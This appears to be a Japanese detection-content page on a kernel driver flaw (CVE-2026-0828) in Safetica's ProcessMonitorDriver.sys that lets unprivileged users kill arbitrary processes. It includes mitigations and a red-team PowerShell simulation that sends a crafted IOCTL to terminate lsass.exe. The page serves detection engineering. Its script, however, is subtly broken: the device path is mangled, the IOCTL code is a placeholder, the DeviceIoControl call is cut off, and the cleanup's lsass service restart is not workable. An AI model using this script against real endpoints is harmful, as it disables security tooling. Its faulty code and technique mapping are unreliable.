Safeticaはカーネルドライバの脆弱性を含んでいる
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
SafeticaのProcessMonitorDriver.sysカーネルドライバーの欠陥により、特権のないユーザーがIOCTLインターフェースを悪用して任意のシステムプロセスを終了させることができます。これにより、サービス拒否や影響を受けたエンドポイントでのセキュリティツールの妨害を引き起こす可能性があります。この問題は、EDRエージェントや他の重要なサービスを停止させ、防御範囲を迅速に縮小するために悪用される可能性があります。現在、ベンダーパッチは利用できません。
調査
レポートはSafetica DLPクライアントバージョン全体でのProcessMonitorDriver.sysのCVE-2026-0828を文書化しています。弱い入力検証により、特定のIOCTL呼び出しを介して上位ドライバ権限でプロセス終了が可能であることを示しています。エンドポイントセキュリティモニタリングへの影響が強調されています。
緩和策
ドライバーへの疑わしいIOCTL呼び出しを監視し、EDRまたはホストテレメトリに依存し、Windowsグループポリシー、WDAC、またはAppLockerを使用してドライバーのアクセスを制限します。修正がリリースされるまで、信頼されていないバイナリがProcessMonitorDriver.sysと対話することを防ぎます。
対応
ProcessMonitorDriver.sysをターゲットにした異常なIOCTLアクティビティを検出し、影響を受けたシステムを隔離し、ドライバーアクセスを拒否するためのポリシー制御を適用します。ログ記録を増やし、特権のないインタラクションに対してアラートを設定し、一時的な回避策としてドライバーを無効にすることを検討します。
攻撃フロー
この部分はまだ更新中です。通知を受け取るにはサインアップしてください。
私に通知する検出
疑わしいProcessMonitor Driverのインストール(システム経由)
表示
検出するためのIOCs(DestinationIP):Safeticaにはカーネルドライバーの脆弱性が含まれています
表示
検出するためのIOCs(Emails):Safeticaにはカーネルドライバーの脆弱性が含まれています
表示
検出するためのIOCs(SourceIP):Safeticaにはカーネルドライバーの脆弱性が含まれています
表示
Safetica ProcessMonitorDriver.sys IOCTL脆弱性の悪用を検出[Windows Sysmon]
表示
シミュレーション実行
前提条件: テレメトリとベースラインの事前チェックが合格していること。
根拠: このセクションは、検出ルールをトリガーすることを目的とした敵の手法(TTP)の正確な実行を詳細に説明しています。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃のストーリーとコマンド:
レッドチームオペレーターは、脆弱なProcessMonitorDriver.sysドライバーを使用して任意の高特権プロセスを終了させようとします(lsass.exe)。これを達成するために、悪意のあるIOCTLペイロードを作成して、ドライバーにターゲットPIDのハンドルを閉じさせ、実行フロー(T1574)をハイジャックして通常の防御メカニズム(T1211)を回避します。手順は次の通りです:- のPIDを解決する
lsass.exe. - 脆弱なドライバーへのハンドルを開く(
\.ProcessMonitorDriver). - ターゲットPIDとプロセス終了をトリガーするコマンドコードを含むIOCTLバッファを構築する。
- を呼び出す
DeviceIoControl悪意のある制御コードで(0xdeadbeef). - ドライバのハンドルを閉じる。
- のPIDを解決する
-
回帰テストスクリプト:
# ProcessMonitorDriver.sysのエクスプロイトシミュレーション(CVE‑2026‑0828) # ------------------------------------------------------------- # このスクリプトは、脆弱なドライバーに悪意のあるIOCTLを送信して # LSASSプロセスを終了し、検出ルールでウォッチされているSysmon EventID 10 # を生成します。 # 1. LSASS PID を特定する $targetProcess = Get-Process -Name lsass -ErrorAction Stop $targetPid = $targetProcess.Id Write-Host "ターゲットPID(lsass):$targetPid" # 2. ドライバへのハンドルを開く $driverPath = ".ProcessMonitorDriver" $file = [System.IO.File]::Open($driverPath, 'Open', 'ReadWrite', 'None') $handle = $file.SafeFileHandle # 3. 悪意のあるIOCTLバッファを構築する(PID + ダミーデータ) $bufferSize = 8 $buffer = New-Object byte[] $bufferSize [BitConverter]::GetBytes([uint32]$targetPid).CopyTo($buffer, 0) [BitConverter]::GetBytes([uint32]0xFFFFFFFF).CopyTo($buffer, 4) # フィラー # 4. 悪意のあるIOCTLコードを定義する(例: 0xdeadbeef) $ioctlCode = 0xdeadbeef # 5. DeviceIoControlをP/Invoke経由で呼び出す $signature = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [DllImport("kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, uint dwIoControlCode, byte[] lpInBuffer, int nInBufferSize, byte[] lpOutBuffer, int nOutBufferSize, out int lpBytesReturned, IntPtr lpOverlapped); } "@ Add-Type $signature $bytesReturned = 0 $outBuffer = New-Object byte[] 0 $result = [NativeMethods]::DeviceIoControl( $handle, $ioctlCode, $buffer, $buffer.Length, $outBuffer, 0, [ref]$bytesReturned, if ($result) { Write-Host "IOCTL送信に成功しました – LSASSの終了が発生した可能性があります。" } else { $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Error "DeviceIoControlが失敗しました(エラー $err)。" } # 6. クリーンアップ $file.Close() -
クリーンアップコマンド:
# 残っている可能性のあるドライバーハンドルを削除する(ベストエフォート) # LSASSが終了された場合、再起動する(安全なラボのために) if (Get-Process -Name lsass -ErrorAction SilentlyContinue) { Write-Host "LSASSはまだ実行中です - クリーンアップは不要です。" } else { Write-Host "LSASSを再起動中(管理者権限が必要です)..." # テストマシンでは再起動するかサービス再起動コマンドレットを使用することもできます # Restart-Service -Name "lsass" -Force }